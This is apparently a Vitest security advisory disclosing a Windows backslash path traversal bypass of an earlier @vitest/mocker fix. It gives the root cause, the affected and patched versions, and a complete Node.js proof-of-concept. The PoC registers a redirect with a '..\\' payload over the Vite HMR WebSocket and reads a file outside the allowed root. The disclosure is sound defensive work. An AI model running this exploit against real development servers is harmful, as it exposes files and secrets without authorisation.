Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

Summary

The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

The issue was reproduced with the published @vitest/mocker packages in both fixed release lines:

• @vitest/mocker@4.1.11
• @vitest/mocker@5.0.0

The main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 exhibited the same behavior.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.

Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

• 4.1.11
• >=5.0.0-rc.2, <5.0.3

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

Root cause

packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration performs the equivalent of:

const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

The registered value later reaches:

readFile(mock.redirect, 'utf-8')

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction targets the public mocker WebSocket registration path.

Preconditions and impact

A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.

Install dependencies for either affected line:

npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

poc.mjs:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observed with @vitest/mocker@4.1.11:

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

The same result was observed with @vitest/mocker@5.0.0.

This includes two useful controls:

1. traversal:../secret.txt is rejected and returns 404, confirming the published forward-slash fix is active.
2. traversal:..\secret.txt returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.